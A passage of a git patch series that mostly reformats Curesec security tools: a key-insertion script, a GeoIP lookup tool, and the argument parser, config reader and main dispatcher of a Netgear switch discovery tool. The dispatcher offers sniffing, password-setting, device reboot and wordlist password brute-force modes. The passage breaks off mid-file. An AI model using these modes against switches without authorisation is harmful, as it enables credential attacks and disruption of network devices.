os.listdir(".") + for f in files: + if ldir.count(f) == 0: + print "[-] Missing %s, abort!" % (f) + sys.exit(1) + return 0 + def createOutputDir(oDir): - if os.path.exists(oDir): - print "[!] Warning %s already exists, i overwrite anyway" % (oDir) -# time.sleep(1) - else: - os.mkdir(oDir) - - return - -def copyFiles(files,oDir): - for f in files: - out = "%s/%s" % (oDir,f) - print "[*] Copy %s to %s" % (f,out) - shutil.copyfile(f,out) - - - print "[*] Copy done" + if os.path.exists(oDir): + print "[!] Warning %s already exists, i overwrite anyway" % (oDir) + # time.sleep(1) + else: + os.mkdir(oDir) + + return + + +def copyFiles(files, oDir): + for f in files: + out = "%s/%s" % (oDir, f) + print "[*] Copy %s to %s" % (f, out) + shutil.copyfile(f, out) + + print "[*] Copy done" + # create new key def createKey(): - nKey = Crypticle.generate_key_string() - print "[*] New Key: %s" % (nKey) - return nKey + nKey = Crypticle.generate_key_string() + print "[*] New Key: %s" % (nKey) + return nKey + # insert key def insertKey(kFiles, nKey, oDir): - for f in kFiles: - fPath = "%s/%s" % (oDir,f) - fw = open(fPath,'rw') - fBuf = fw.readlines() - for l in fBuf: - if l.startswith('\tkey = \"'): - # find the position in fBuf - kPos = fBuf.index(l) - - l = l.rstrip('\n') - oKey = l.split('"')[1] - print "[*] Found old key: %s" % (oKey) - replaceKey = '\tkey = "%s"\n' % (nKey) - fBuf[kPos] = replaceKey - fw.close() - fw = open(fPath,'w') - newBuf = "" - for l in fBuf: - newBuf += l - fw.write(newBuf) - fw.close() - print "[*] %s ready" % (fPath) - - + for f in kFiles: + fPath = "%s/%s" % (oDir, f) + fw = open(fPath, 'rw') + fBuf = fw.readlines() + for l in fBuf: + if l.startswith('\tkey = \"'): + # find the position in fBuf + kPos = fBuf.index(l) + + l = l.rstrip('\n') + oKey = l.split('"')[1] + print "[*] Found old key: %s" % (oKey) + replaceKey = '\tkey = "%s"\n' % (nKey) + fBuf[kPos] = replaceKey + fw.close() + fw = open(fPath, 'w') + newBuf = "" + for l in fBuf: + newBuf += l + fw.write(newBuf) + fw.close() + print "[*] %s ready" % (fPath) checkFiles(files) createOutputDir(oDir) -copyFiles(files,oDir) -nKey=createKey() -insertKey(kFiles, nKey,oDir) +copyFiles(files, oDir) +nKey = createKey() +insertKey(kFiles, nKey, oDir) print "[*] Done" From 627ff6c660d410b724463d983391077a5fb0f0ee Mon Sep 17 00:00:00 2001 From: BhavKaran Date: Fri, 5 Oct 2018 16:44:13 +0530 Subject: [PATCH 02/12] Add files via upload --- geoip/geoip.py | 351 ++++++++++++++++++++++++------------------------- 1 file changed, 169 insertions(+), 182 deletions(-) diff --git a/geoip/geoip.py b/geoip/geoip.py index 54402e9..77a6249 100755 --- a/geoip/geoip.py +++ b/geoip/geoip.py @@ -1,5 +1,5 @@ #!/usr/bin/env python2 -#copyright 2014 curesec gmbh, ping@curesec.com +# copyright 2014 curesec gmbh, ping@curesec.com # Download databases from: # http://dev.maxmind.com/geoip/geoip2/geolite2/ @@ -18,195 +18,182 @@ import sys - class GeoIP(object): - countryblockfile = "/usr/share/geoip/GeoLite2-Country-Blocks.csv" - countrylocationfile = "/usr/share/geoip/GeoLite2-Country-Locations.csv" - cityblockfile = "/usr/share/geoip/GeoLite2-City-Blocks.csv" - citylocationfile = "/usr/share/geoip/GeoLite2-City-Locations.csv" - - - @staticmethod - def iptoname(ip, blockfile, locationfile): - # network_start_ip,network_mask_length,geoname_id,... - headerline = GeoIP.getheaderline(blockfile) - blockline = GeoIP.getlinefromip(ip, blockfile) - if not blockline: - print("Error: IP address not found") - return - splits1 = headerline.split(",") - splits2 = blockline.split(",") - print(splits1[2] + ": " + splits2[2]) - print(splits1[3] + ": " + splits2[3]) - print(splits1[4] + ": " + splits2[4]) - print(splits1[5] + ": " + splits2[5]) - print(splits1[6] + ": " + splits2[6]) - print(splits1[7] + ": " + splits2[7]) - print(splits1[8] + ": " + splits2[8]) - print(splits1[9] + ": " + splits2[9]) - # geoname_id,continent_code,continent_name,country_iso_code,country_name,... - headerline = GeoIP.getheaderline(locationfile) - locationline = GeoIP.getinfofromid(splits2[2], locationfile) - splits1 = headerline.split(",") - splits2 = locationline.split(",") - print("") - print(splits1[0] + ": " + splits2[0]) - print(splits1[1] + ": " + splits2[1]) - print(splits1[2] + ": " + splits2[2]) - print(splits1[3] + ": " + splits2[3]) - print(splits1[4] + ": " + splits2[4]) - print(splits1[5] + ": " + splits2[5]) - print(splits1[6] + ": " + splits2[6]) - print(splits1[7] + ": " + splits2[7]) - print(splits1[8] + ": " + splits2[8]) - print(splits1[9] + ": " + splits2[9]) - - @staticmethod - def getlinefromip(ip, blockfile): - f = open(blockfile, "r") - # skip header line - f.readline() - for line in f: - # a line looks like this: - # ::ffff:1.0.128.0,113,1605651,1605651,,,,,0,0 - startip = line.split(",")[0].split(":")[-1] - # some lines contain ip6 but not ip4 addresses - if not startip: - continue - # I don't understand the logic behind subtracting 96 but it works - netrange = int(line.split(",")[1]) - 96 - # http://stackoverflow.com/questions/819355/how-can-i-check-if-an-ip-is-in-a-network-in-python - if IPAddress(ip) in IPNetwork(startip + "/" + str(netrange)): - print("range: " + startip + "/" + str(netrange)) - f.close() - return line.strip() - f.close() - return "" - - @staticmethod - def getinfofromid(id, locationfile): - f = open(locationfile, "r") - headerline = f.readline() - for line in f: - # a line looks like this: - # 2921044,EU,Europe,DE,Germany,,,,, - if line.startswith(id + ","): - f.close() - return line.strip() - f.close() - return "" - - @staticmethod - def getheaderline(path): - f = open(path, "r") - line = f.readline().strip() - f.close() - return line - - - - - - @staticmethod - # mytype is either "country" or "city" - def nametoip(mytype, name, blockfile, locationfile): - myid = GeoIP.getidfromname(mytype, name, locationfile) - if not myid: - if mytype == "country": - print("Error: County not found") - else: - print("Error: City not found") - return - GeoIP.getrangesfromid(myid, blockfile) - - @staticmethod - def getidfromname(mytype, name, locationfile): - f = open(locationfile, "r") - # skip header line - headerline = f.readline() - for line in f: - line = line.strip() - splits = line.split(",") - if mytype == "country": - if len(splits) < 5: - continue - # some names are saved with double quotes - # 2921044,EU,Europe,DE,Germany,,,,, - # 6252001,NA,"North America",US,"United States",,,,, - if splits[4] == name or splits[4] == "\"" + name + "\"": - f.close() - return splits[0] - else: - # city names containing space characters are saved with underscore characters - # 4776222,NA,"North America",US,"United States",VA,Virginia,Norfolk,544,America/New_York - name = name.replace(" ", "_") - if splits[-1].endswith("/" + name): - f.close() - return splits[0] - f.close() - return "" - - @staticmethod - def getrangesfromid(myid, blockfile): - f = open(blockfile, "r") - # skip header line - f.readline() - for line in f: - # a line looks like this: - # ::ffff:1.0.128.0,113,1605651,1605651,,,,,0,0 - splits = line.split(",") - geoid = splits[2] - if geoid == myid: - startip = splits[0].split(":")[-1] - # some lines do not contain ip4 addresses + countryblockfile = "/usr/share/geoip/GeoLite2-Country-Blocks.csv" + countrylocationfile = "/usr/share/geoip/GeoLite2-Country-Locations.csv" + cityblockfile = "/usr/share/geoip/GeoLite2-City-Blocks.csv" + citylocationfile = "/usr/share/geoip/GeoLite2-City-Locations.csv" + + @staticmethod + def iptoname(ip, blockfile, locationfile): + # network_start_ip,network_mask_length,geoname_id,... + headerline = GeoIP.getheaderline(blockfile) + blockline = GeoIP.getlinefromip(ip, blockfile) + if not blockline: + print("Error: IP address not found") + return + splits1 = headerline.split(",") + splits2 = blockline.split(",") + print(splits1[2] + ": " + splits2[2]) + print(splits1[3] + ": " + splits2[3]) + print(splits1[4] + ": " + splits2[4]) + print(splits1[5] + ": " + splits2[5]) + print(splits1[6] + ": " + splits2[6]) + print(splits1[7] + ": " + splits2[7]) + print(splits1[8] + ": " + splits2[8]) + print(splits1[9] + ": " + splits2[9]) + # geoname_id,continent_code,continent_name,country_iso_code,country_name,... + headerline = GeoIP.getheaderline(locationfile) + locationline = GeoIP.getinfofromid(splits2[2], locationfile) + splits1 = headerline.split(",") + splits2 = locationline.split(",") + print("") + print(splits1[0] + ": " + splits2[0]) + print(splits1[1] + ": " + splits2[1]) + print(splits1[2] + ": " + splits2[2]) + print(splits1[3] + ": " + splits2[3]) + print(splits1[4] + ": " + splits2[4]) + print(splits1[5] + ": " + splits2[5]) + print(splits1[6] + ": " + splits2[6]) + print(splits1[7] + ": " + splits2[7]) + print(splits1[8] + ": " + splits2[8]) + print(splits1[9] + ": " + splits2[9]) + + @staticmethod + def getlinefromip(ip, blockfile): + f = open(blockfile, "r") + # skip header line + f.readline() + for line in f: + # a line looks like this: + # ::ffff:1.0.128.0,113,1605651,1605651,,,,,0,0 + startip = line.split(",")[0].split(":")[-1] + # some lines contain ip6 but not ip4 addresses if not startip: - continue - # I don't understand the logic behind subtracting 96 - netrange = int(splits[1]) - 96 - print(startip + "/" + str(netrange)) - f.close() - - - - + continue + # I don't understand the logic behind subtracting 96 but it works + netrange = int(line.split(",")[1]) - 96 + # http://stackoverflow.com/questions/819355/how-can-i-check-if-an-ip-is-in-a-network-in-python + if IPAddress(ip) in IPNetwork(startip + "/" + str(netrange)): + print("range: " + startip + "/" + str(netrange)) + f.close() + return line.strip() + f.close() + return "" + + @staticmethod + def getinfofromid(id, locationfile): + f = open(locationfile, "r") + headerline = f.readline() + for line in f: + # a line looks like this: + # 2921044,EU,Europe,DE,Germany,,,,, + if line.startswith(id + ","): + f.close() + return line.strip() + f.close() + return "" + + @staticmethod + def getheaderline(path): + f = open(path, "r") + line = f.readline().strip() + f.close() + return line + + @staticmethod + # mytype is either "country" or "city" + def nametoip(mytype, name, blockfile, locationfile): + myid = GeoIP.getidfromname(mytype, name, locationfile) + if not myid: + if mytype == "country": + print("Error: County not found") + else: + print("Error: City not found") + return + GeoIP.getrangesfromid(myid, blockfile) + + @staticmethod + def getidfromname(mytype, name, locationfile): + f = open(locationfile, "r") + # skip header line + headerline = f.readline() + for line in f: + line = line.strip() + splits = line.split(",") + if mytype == "country": + if len(splits) < 5: + continue + # some names are saved with double quotes + # 2921044,EU,Europe,DE,Germany,,,,, + # 6252001,NA,"North America",US,"United States",,,,, + if splits[4] == name or splits[4] == "\"" + name + "\"": + f.close() + return splits[0] + else: + # city names containing space characters are saved with underscore characters + # 4776222,NA,"North America",US,"United States",VA,Virginia,Norfolk,544,America/New_York + name = name.replace(" ", "_") + if splits[-1].endswith("/" + name): + f.close() + return splits[0] + f.close() + return "" + + @staticmethod + def getrangesfromid(myid, blockfile): + f = open(blockfile, "r") + # skip header line + f.readline() + for line in f: + # a line looks like this: + # ::ffff:1.0.128.0,113,1605651,1605651,,,,,0,0 + splits = line.split(",") + geoid = splits[2] + if geoid == myid: + startip = splits[0].split(":")[-1] + # some lines do not contain ip4 addresses + if not startip: + continue + # I don't understand the logic behind subtracting 96 + netrange = int(splits[1]) - 96 + print(startip + "/" + str(netrange)) + f.close() + + @staticmethod + def checkiffileexists(path): + try: + open(path, "r") + except IOError: + print("Unable to open " + path) + exit(1) - @staticmethod - def checkiffileexists(path): - try: - open(path, "r") - except IOError: - print("Unable to open " + path) - exit(1) +def main(argv): + GeoIP.checkiffileexists(GeoIP.countryblockfile) + GeoIP.checkiffileexists(GeoIP.countrylocationfile) + GeoIP.checkiffileexists(GeoIP.cityblockfile) + GeoIP.checkiffileexists(GeoIP.citylocationfile) + parser = argparse.ArgumentParser() + group = parser.add_mutually_exclusive_group(required="True") + group.add_argument('-ipcountry', dest='ipcountry') + group.add_argument('-ipcity', dest='ipcity') + group.add_argument('-country', dest='country') + group.add_argument('-city', dest='city') + args = parser.parse_args() -def main(argv): - GeoIP.checkiffileexists(GeoIP.countryblockfile) - GeoIP.checkiffileexists(GeoIP.countrylocationfile) - GeoIP.checkiffileexists(GeoIP.cityblockfile) - GeoIP.checkiffileexists(GeoIP.citylocationfile) - - parser = argparse.ArgumentParser() - - group = parser.add_mutually_exclusive_group(required="True") - group.add_argument('-ipcountry', dest='ipcountry') - group.add_argument('-ipcity', dest='ipcity') - group.add_argument('-country', dest='country') - group.add_argument('-city', dest='city') - - args = parser.parse_args() - - if args.ipcountry: - GeoIP.iptoname(args.ipcountry, GeoIP.countryblockfile, GeoIP.countrylocationfile) - elif args.ipcity: - GeoIP.iptoname(args.ipcity, GeoIP.cityblockfile, GeoIP.citylocationfile) - elif args.country: - GeoIP.nametoip("country", args.country, GeoIP.countryblockfile, GeoIP.countrylocationfile) - else: - GeoIP.nametoip("city", args.city, GeoIP.cityblockfile, GeoIP.citylocationfile) + if args.ipcountry: + GeoIP.iptoname(args.ipcountry, GeoIP.countryblockfile, GeoIP.countrylocationfile) + elif args.ipcity: + GeoIP.iptoname(args.ipcity, GeoIP.cityblockfile, GeoIP.citylocationfile) + elif args.country: + GeoIP.nametoip("country", args.country, GeoIP.countryblockfile, GeoIP.countrylocationfile) + else: + GeoIP.nametoip("city", args.city, GeoIP.cityblockfile, GeoIP.citylocationfile) if __name__ == '__main__': - main(sys.argv[1:]) + main(sys.argv[1:]) From e640fa028c60d3c55089b968cd714701ba7de12c Mon Sep 17 00:00:00 2001 From: BhavKaran Date: Fri, 5 Oct 2018 16:45:40 +0530 Subject: [PATCH 03/12] Add files via upload --- nsdtool/project/argumentparser.py | 127 +++++++++++----------- nsdtool/project/configreader.py | 40 +++---- nsdtool/project/main.py | 58 +++++----- nsdtool/project/network.py | 76 ++++++------- nsdtool/project/nsdpdiscover.py | 71 ++++++------ nsdtool/project/nsdppasswordbruteforce.py | 99 +++++++++-------- nsdtool/project/nsdprebootdevice.py | 78 ++++++------- nsdtool/project/nsdpsetpassword.py | 85 +++++++-------- nsdtool/project/nsdpsniffer.py | 107 +++++++++--------- nsdtool/project/targets.py | 79 +++++++------- 10 files changed, 411 insertions(+), 409 deletions(-) diff --git a/nsdtool/project/argumentparser.py b/nsdtool/project/argumentparser.py index 9a0bf39..9c3ad12 100644 --- a/nsdtool/project/argumentparser.py +++ b/nsdtool/project/argumentparser.py @@ -1,25 +1,25 @@ #!/usr/bin/env python3 -#The MIT License (MIT) +# The MIT License (MIT) # -#Copyright (c) 2014 Curesec GmbH +# Copyright (c) 2014 Curesec GmbH # -#Permission is hereby granted, free of charge, to any person obtaining a copy -#of this software and associated documentation files (the "Software"), to deal -#in the Software without restriction, including without limitation the rights -#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -#copies of the Software, and to permit persons to whom the Software is -#furnished to do so, subject to the following conditions: +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: # -#The above copyright notice and this permission notice shall be included in -#all copies or substantial portions of the Software. +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. # -#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -#THE SOFTWARE. +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. # """NSDP sniffer/discover argument parser implementation @@ -28,10 +28,12 @@ import sys import argparse + class ArgumentParser(): """Parse Command Line Arguments""" + def __init__(self): - self._args = [] + self._args = [] def parse(self): """Parse command line arguments @@ -41,43 +43,43 @@ def parse(self): """ parser = argparse.ArgumentParser( - description='Netgear Switch Discovery Protocol - 0.01a') - - parser.add_argument('-s', '--sniffer', - help='Start the program in sniffer mode', required=False, - action='store_true') - parser.add_argument('-d', '--discover', - help='Start the program in discover mode', required=False, - action='store_true') - parser.add_argument('-sp', '--setpassword', - help='Set the password of the device (-cp, -np, -m required)', - required=False, action='store_true') - parser.add_argument('-cp', '--currentpassword', - help="Current device password", required=False, nargs=1) - parser.add_argument('-np', '--newpassword', - help='New device password string', required=False, nargs=1) - parser.add_argument('-r', '--reboot', help='Reboot the device', - required=False, action='store_true') - parser.add_argument('-bf', '--bruteforce', nargs=1, - type=argparse.FileType('r'), default=None, - help="Start bruteforce attack, (-np, -m required)") - parser.add_argument('-p', '--password', help='Password string', - required=False, nargs=1) - parser.add_argument('-m', '--macaddress', - help='MAC address in format xx:xx:xx:xx:xx:xx', required=False, - nargs=1) - parser.add_argument('-t', '--target', help='Discover message target', - required=False, nargs=1) - parser.add_argument('-tl', '--targetlist', nargs=1, - type=argparse.FileType('r'), default=None, - help="Discover message target list file input") - parser.add_argument('-de', '--delay', help='UDP transmission delay', - type=float, required=False, nargs=1) - parser.add_argument('-q', '--quiet', - help='Start the program in quiet mode', required=False, - action='store_true') - - if len(sys.argv)==1: + description='Netgear Switch Discovery Protocol - 0.01a') + + parser.add_argument('-s', '--sniffer', + help='Start the program in sniffer mode', required=False, + action='store_true') + parser.add_argument('-d', '--discover', + help='Start the program in discover mode', required=False, + action='store_true') + parser.add_argument('-sp', '--setpassword', + help='Set the password of the device (-cp, -np, -m required)', + required=False, action='store_true') + parser.add_argument('-cp', '--currentpassword', + help="Current device password", required=False, nargs=1) + parser.add_argument('-np', '--newpassword', + help='New device password string', required=False, nargs=1) + parser.add_argument('-r', '--reboot', help='Reboot the device', + required=False, action='store_true') + parser.add_argument('-bf', '--bruteforce', nargs=1, + type=argparse.FileType('r'), default=None, + help="Start bruteforce attack, (-np, -m required)") + parser.add_argument('-p', '--password', help='Password string', + required=False, nargs=1) + parser.add_argument('-m', '--macaddress', + help='MAC address in format xx:xx:xx:xx:xx:xx', required=False, + nargs=1) + parser.add_argument('-t', '--target', help='Discover message target', + required=False, nargs=1) + parser.add_argument('-tl', '--targetlist', nargs=1, + type=argparse.FileType('r'), default=None, + help="Discover message target list file input") + parser.add_argument('-de', '--delay', help='UDP transmission delay', + type=float, required=False, nargs=1) + parser.add_argument('-q', '--quiet', + help='Start the program in quiet mode', required=False, + action='store_true') + + if len(sys.argv) == 1: parser.print_help() sys.exit(1) @@ -85,20 +87,20 @@ def parse(self): if self._args["discover"] == True: if ((self._args["target"] is None) and - (self._args["targetlist"] is None)): + (self._args["targetlist"] is None)): print("""Error: -d (--discover) requires either -t (--target) or -tl (--targetlist)""") sys.exit(0) if ((self._args["target"] is not None) and - (self._args["targetlist"] is not None)): + (self._args["targetlist"] is not None)): print("""Error: -d (--discover) requires either -t (--target) or -tl (--targetlist)""") sys.exit(0) if self._args["setpassword"] == True: - if ((self._args["currentpassword"] is None) or - (self._args["newpassword"] is None) or - (self._args["macaddress"] is None)): + if ((self._args["currentpassword"] is None) or + (self._args["newpassword"] is None) or + (self._args["macaddress"] is None)): print("""Error: -sp (--setpassword) requires options -cp (--currentpassword), -np (--newpassword), -m (--macaddress)""") @@ -107,17 +109,16 @@ def parse(self): print("new password to short, minimum 8 characters") sys.exit(0) - if self._args["reboot"] == True: if ((self._args["password"] is None) or - (self._args["macaddress"] is None)): + (self._args["macaddress"] is None)): print("""Error: -r (--reboot) requires options -p (--password), -m (--macaddress)""") sys.exit(0) if self._args["bruteforce"] is not None: if ((self._args["newpassword"] is None) or - (self._args["macaddress"] is None)): + (self._args["macaddress"] is None)): print("""Error: -bf (--bruteforce) requires options -np (--newpassword), -m (--macaddress)""") sys.exit(0) diff --git a/nsdtool/project/configreader.py b/nsdtool/project/configreader.py index 6a196fa..cdec492 100644 --- a/nsdtool/project/configreader.py +++ b/nsdtool/project/configreader.py @@ -1,42 +1,44 @@ #!/usr/bin/env python3 -#The MIT License (MIT) +# The MIT License (MIT) # -#Copyright (c) 2014 Curesec GmbH +# Copyright (c) 2014 Curesec GmbH # -#Permission is hereby granted, free of charge, to any person obtaining a copy -#of this software and associated documentation files (the "Software"), to deal -#in the Software without restriction, including without limitation the rights -#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -#copies of the Software, and to permit persons to whom the Software is -#furnished to do so, subject to the following conditions: +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: # -#The above copyright notice and this permission notice shall be included in -#all copies or substantial portions of the Software. +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. # -#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -#THE SOFTWARE. +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. import configparser import os + """NSDP sniffer/discover config reader implementation :platform: Linux """ + class ConfigReader(): def read(self): - + config = configparser.ConfigParser() try: config_name = 'config.ini' - config.read_file(open(os.path.join(os.path.dirname(__file__),config_name))) + config.read_file(open(os.path.join(os.path.dirname(__file__), config_name))) except FileNotFoundError: print("config file + " + config_name + " not found or readable") sys.exit(0) diff --git a/nsdtool/project/main.py b/nsdtool/project/main.py index f5adf6c..d863963 100644 --- a/nsdtool/project/main.py +++ b/nsdtool/project/main.py @@ -1,25 +1,25 @@ #!/usr/bin/env python3 -#The MIT License (MIT) +# The MIT License (MIT) # -#Copyright (c) 2014 Curesec GmbH +# Copyright (c) 2014 Curesec GmbH # -#Permission is hereby granted, free of charge, to any person obtaining a copy -#of this software and associated documentation files (the "Software"), to deal -#in the Software without restriction, including without limitation the rights -#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -#copies of the Software, and to permit persons to whom the Software is -#furnished to do so, subject to the following conditions: +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: # -#The above copyright notice and this permission notice shall be included in -#all copies or substantial portions of the Software. +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. # -#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -#THE SOFTWARE. +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. import os import sys @@ -40,6 +40,7 @@ NSPD discover/sniffer main class implementation """ + class NSDP(object): def __init__(self): @@ -48,16 +49,16 @@ def __init__(self): """ args = argumentparser.ArgumentParser().parse() pws = list() - + config = configreader.ConfigReader().read() - + self.source_port = int(config['NSDP']['SourcePort']) self.dest_port = int(config['NSDP']['DestPort']) self.interface = config['NSDP']['Interface'] self.dest_ip = config['NSDP']['DestIP'] - self.delay = config.getfloat('NSDP','Delay') - self.network = network.Network(self.interface, self.dest_ip, - self.source_port, self.dest_port) + self.delay = config.getfloat('NSDP', 'Delay') + self.network = network.Network(self.interface, self.dest_ip, + self.source_port, self.dest_port) self.quiet = False if args['sniffer'] == True: @@ -108,17 +109,18 @@ def start(self): discover = nsdpdiscover.NSDPDiscover(self.network, None, self.target, self.delay, self.quiet) discover.start_discover() elif self.mode == 'setpassword': - setpassword = nsdpsetpassword.NSDPSetPassword(self.network, - self.oldpassword, self.newpassword, self.macaddress) + setpassword = nsdpsetpassword.NSDPSetPassword(self.network, + self.oldpassword, self.newpassword, self.macaddress) setpassword.start_set_password() elif self.mode == 'reboot': - rebootdevice = nsdprebootdevice.NSDPRebootDevice(self.network, - self.password, self.macaddress) + rebootdevice = nsdprebootdevice.NSDPRebootDevice(self.network, + self.password, self.macaddress) rebootdevice.start_reboot_device() elif self.mode == 'bruteforce': bruteforce = nsdppasswordbruteforce.NSDPPasswordBruteForce( - self.network, self.dest_port, self.password, self.macaddress, self.fd, self.quiet) + self.network, self.dest_port, self.password, self.macaddress, self.fd, self.quiet) bruteforce.start_password_bruteforce() - + + nsdp = NSDP() nsdp.start() diff --git a/nsdtool/project/network.py b/nsdtool/project/network.py index 08b8550..95eaadc 100644 --- a/nsdtool/project/network.py +++ b/nsdtool/project/network.py @@ -1,25 +1,25 @@ #!/usr/bin/env python3 -#The MIT License (MIT) +# The MIT License (MIT) # -#Copyright (c) 2014 Curesec GmbH +# Copyright (c) 2014 Curesec GmbH # -#Permission is hereby granted, free of charge, to any person obtaining a copy -#of this software and associated documentation files (the "Software"), to deal -#in the Software without restriction, including without limitation the rights -#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -#copies of the Software, and to permit persons to whom the Software is -#furnished to do so, subject to the following conditions: +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: # -#The above copyright notice and this permission notice shall be included in -#all copies or substantial portions of the Software. +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. # -#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -#THE SOFTWARE. +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. import socket import sys @@ -28,6 +28,7 @@ from struct import * + class Network(): def __init__(self, interface, dest_ip, source_port, dest_port): @@ -42,26 +43,25 @@ def set_dest_address(self, dest_ip): def get_ip_address(self, ifname): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - + try: ip = socket.inet_ntoa(fcntl.ioctl( - s.fileno(), - 0x8915, + s.fileno(), + 0x8915, struct.pack('256s', ifname[:15].encode('utf-8')))[20:24]) except OSError: print("Wrong interface name: " + ifname + "\ncheck config.ini") sys.exit(0) - - return ip + return ip def checksum(msg): s = 0 for i in range(0, len(msg), 2): - w = msg[i] + (msg[i+1] << 8 ) + w = msg[i] + 